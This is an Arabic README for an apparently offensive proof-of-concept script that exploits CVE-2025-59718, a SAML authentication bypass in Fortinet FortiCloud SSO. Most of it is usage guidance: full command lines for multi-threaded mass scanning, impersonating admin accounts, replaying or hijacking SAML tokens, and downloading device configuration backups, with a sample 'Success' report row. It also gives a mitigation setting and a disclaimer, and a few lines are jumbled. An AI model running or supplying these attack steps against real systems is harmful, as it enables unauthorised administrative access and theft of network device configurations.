
أعلنت شركة Fortinet عن ثغرتين أمنيتين مترابطتين لتجاوز المصادقة في 9 ديسمبر 2025. كلا الخللين يتضمنان التحقق غير السليم من التوقيعات التشفيرية (CWE‑347) في معالجة استجابات SAML لميزة تسجيل الدخول عبر FortiCloud SSO.
هذه الأداة هي سكريبت استغلال (PoC) لثغرة CVE-2025-59718، وهي ثغرة خطيرة لتجاوز المصادقة في منتجات Fortinet (مثل FortiOS وFortiProxy وFortiSwitchManager) بسبب التحقق غير السليم من التوقيعات المشفرة في رسائل SAML لـ FortiCloud SSO. تسمح الثغرة للمهاجمين عن بُعد غير المصادقين بتجاوز المصادقة والحصول على وصول إداري عن طريق صياغة وإرسال استجابة SAML غير موقعة.
ملاحظة مهمة: هذا السكريبت مخصص للأغراض التعليمية والبحثية والاختبارات المصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة دون إذن صريح غير قانوني وغير أخلاقي. التزم دائمًا بالقوانين المعمول بها واحصل على التصريح المناسب قبل الاختبار.
يدعم السكريبت فحص هدف واحد أو أهداف متعددة، واستخدام وكيل اختياري، ومحاكاة إعادة تشغيل رمز SAML واختراق الجلسة، وإجراءات ما بعد المصادقة مثل تنزيل ملفات التكوين. يستخدم تعدد الخيوط للكفاءة ويسجل النتائج في ملفات للتحليل.
config system global
set admin-forticloud-sso-login disable
end
pip:
pip install requests argparse
(يستخدم السكريبت مكتبات قياسية لمعظم الوظائف؛ لا حاجة لتثبيتات إضافية غير هذه.)exploit.py).pip install -r requirements.txt
(أنشئ requirements.txt يحتوي على: requests و argparse إذا لزم الأمر.)chmod +x exploit.py
شغّل السكريبت باستخدام Python:
python exploit.py [options]
--target <IP/hostname>: هدف واحد للمسح (مثل 192.168.1.1 أو example.com).--targets <قائمة مفصولة بفواصل>: أهداف متعددة (مثل 192.168.1.1,example.com).--file <مسار>: ملف يحتوي على هدف واحد في كل سطر.--username <اسم>: اسم المستخدم للانتحال في حمولة SAML (الافتراضي: admin).--endpoint <مسار>: نقطة نهاية تسجيل دخول SAML (الافتراضي: /remote/saml/login).--max-threads <int>: الحد الأقصى للخيوط المتزامنة (الافتراضي: 10؛ الحد الأقصى الموصى به: 50).--saml-token <رمز>: رمز SAML مُشفر بـ Base64 لإعادة التشغيل/الاختراق (اختياري).--proxy <رابط>: رابط الوكيل (مثل http://127.0.0.1:8080).--post-auth-config: تفعيل تنزيل التكوين بعد المصادقة (علامة؛ معطل افتراضيًا).--vulnerable-file <مسار>: ملف لحفظ الأهداف الضعيفة (الافتراضي: vulnerable_targets.txt).--output-file <مسار>: ملف CSV لتقارير الهجوم (الافتراضي: attack_report.csv).ملاحظة: إذا لم يتم توفير أي خيارات هدف، سيخرج السكريبت بخطأ.
مسح هدف واحد:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
يمسح جهازًا واحدًا، منتعلًا هوية admin، عبر وكيل محلي.
مسح شامل من قائمة:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
يمسح أهدافًا متعددة بشكل متوازي، يُفعّل تنزيل التكوين عند النجاح.
مسح من ملف مع إعادة تشغيل الرمز:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
يعالج الأهداف من targets.txt، يحاول إعادة تشغيل/اختراق الرمز.
مسح كامل غير تفاعلي:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
اسم مستخدم مخصص، خيوط عالية، تنزيل تكوين، إخراج مخصص.
/api/v2/monitor/system/config/backup.مثال على صف CSV:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy للتصحيح.requests وargparse.--max-threads في حالة الوصول لحدود الموارد.هذا هو PoC؛ مرحب بالمساهمات لتحسينات (مثل كشف أفضل، ميزات إضافية) عبر طلبات السحب. ركز على السلامة والأخلاق.
آخر تحديث: 22 ديسمبر 2025